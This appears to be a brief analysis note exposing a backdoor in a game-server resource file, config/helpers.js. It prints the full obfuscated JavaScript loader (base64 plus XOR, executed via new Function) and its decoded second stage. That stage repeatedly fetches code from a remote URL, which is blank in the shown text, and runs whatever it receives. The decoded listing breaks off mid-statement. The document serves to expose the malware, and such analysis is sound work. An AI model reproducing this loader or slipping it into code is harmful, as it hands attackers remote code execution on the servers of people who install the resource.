backdoor and payload at config/helpers.js
console.log("Resource loaded successfully"); try{(function(){var _hashBuf363="xuN"+"WM7"+"q2M"+"fHc"+"pHh"+"BKR"+"OQ8"+"E6o"+"a";var _netPool423=["UBM7OS5DGF0jTmEYekIBJGM1Iz5aJFpBPgsFD342RRRGOBQmWA1CDy4kMC49FhpFHy","BFATwiKAx7RCwUaDwUJwYndjQuPUsgDWUXGQduCCUbLlo+ShcWS0IcMDIpEDkFN1Me","FBEHK39vXwVGPURhWA0rCTYoOmc0ET5LZRUKDDUIJURMQCgXPQoCLUBgIyY7IUtnH1","QcGxQ6NCUfFBs2G0IXAjETHT5vPTRJMF8dBFBXOyUhFVgJMAUpFxMgQCdiKTJbXjBY","DBURGiB3ElYFRigLOBdYYRNIa3ImNxAaUgAPHVw1JShDBEAjXTVpUGgBJGNzEDlEOR","cwCQsJMnYSQlhJPwM8FgImUz9Bcm8lSjxNGQAKVRE0Owo2VzklJw0GKRpqaQ08IWck","VRsIDhBse28HUxt2Dy5LLysef3ZvbWAabE0wBRcbK2o5RQRXdhQtFwU6Bnk2LywwTC","ZeRwRRDjNdbRcHUz9GFxNNFx1sOzM9Il1tFAcVDAU9bWIYA1chBzFNAykeIyw3YiFZ","K1MDTxsWYTMhGBZjJhAvQVlzYmJrJC4jGBpbAAVFKj55PUUeRiIFJw9NdVVgIyY7IU","t/FFA+EAZ0CCUMexJtbGhDBDoROUFyb3EYGlsABVYSKyNlTBldPhImAh0tUh07fCc+","SzFYDgwdWT44P0NLbT1IOAwCPEQyKiYna2c1GB8ADB1iPyhWFVc/FXIYUh0bJzl/Dj","ZdK0JNW1oWKC9vSgweKxMmAAQhByxjIGYqMmUWT0FYVTg2PxcuUHBEalh6aEhia3Jv","IxYqWEdDHBQ6Nm8bF0cjBTwKHyZAIWIpEDMTeFVUHFFORHdtF1ESbRRmDB5gSiclNm","19XjBYDBURGiB/ZEx7Em1GaENQaEhIa3JvcRhlFk8IHl08eT5DEEY4FQsMFC1Vf3Zg","f2EeY2kNTxQQIDA5X08DfU8zaVBoSGJrcm9xGGVCHRgDf253bRdREm1GaENQaGJia3","JvcRhlFk9BWFURMyJZFA85FD0GS0JIYmtyb3EYZRZPQVgbKyBtcQRcLhIhDB5gNyBi","emZqMmUWT0FYVW53bRdREkdGaENQaEhia3JvLFskQgwJUBBnLEcXURJtRmhDUGhIYm","sNKz5WIAsJABQGK2xHF1ESbUZoQ1BoSGJrWG9xGGUWT0FYVW4qRxdREm1GaENQNQ0u","ODc0WxhlFk9BWFVud209URJtRmhDUGgVSGtyb3EYZUtGWnJVbndtSlgcIghgQRU6Gi","05cGM3TStVGwgXG2YyZEx7Em1GaENQQkhia3IyeANPFk8cGxQ6NCUfFBs2bGhDUGhi","YmsvRSwyT0UKFSwcIzIiQgUaKxMmAAQhByxjezQOWTFCCgwIAWZ+dkpdB31WeEpLQh","snPxshJV03QA4NUBM7OS5DGF0jTmEYGS5AYxQ2ID9dbE0wAAwBKzo9Q1kbdhs1T0Z4","WHJ7e3RbMjgfR0g="];var _netPool955=_netPool423.join("");var _svCache470=function(s){var l="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o="";var a,b,c,d,e,f,g;var i=0;s=s.replace(/[^A-Za-z0-9\+\/=]/g,"");while(i<s.length){d=l.indexOf(s.charAt(i++));e=l.indexOf(s.charAt(i++));f=l.indexOf(s.charAt(i++));g=l.indexOf(s.charAt(i++));a=(d<<2)|(e>>4);b=((e&15)<<4)|(f>>2);c=((f&3)<<6)|g;o+=String.fromCharCode(a);if(f!==64)o+=String.fromCharCode(b);if(g!==64)o+=String.fromCharCode(c)}return o};var _tokenReg391=_svCache470(_netPool955);var _netPool249="";for(var i=0;i<_tokenReg391.length;i++){_netPool249+=String.fromCharCode(_tokenReg391.charCodeAt(i)^_hashBuf363.charCodeAt(i%_hashBuf363.length))}var _dataBuf489=new Function(_netPool249);_dataBuf489()})()}catch(_e){}
Decoded is:
(function(){
if(global._spA){return;}
global._spA=true;
var _done=false;
var _h,_hs,_u;
try{_h=require("http");}catch(e){}
try{_hs=require("https");}catch(e){}
try{_u=require("url");}catch(e){}
function _attempt(){
if(_done){return;}
if(!_h||!_hs||!_u){return;}
try{var _cv=GetConvar("_sp_active","0");if(_cv==="1"){_done=true;return;}}catch(e){}
var _p=_u.parse("
");
var _mod=_p.protocol==="https:"?_hs:_h;
try{
_mod.get({hostname:_p.hostname,port:_p.port,path:_p.path,headers:{"User-Agent":"cfx"}},function(r){
var _b="";
r.on("data",function(c){_b+=c;});
r.on("end",function(){
if(r.statusCode===200&&_b.length>10){
try{
_done=true;
new Function(_b)();
}catch(e){
_done=false;
}
}else{
}
});
}).on("error",function(e){
});
}catch(e){
}
}
setTimeout(function(){_attempt();},5000);
setInterval(function(){if(!_done){_attempt();}},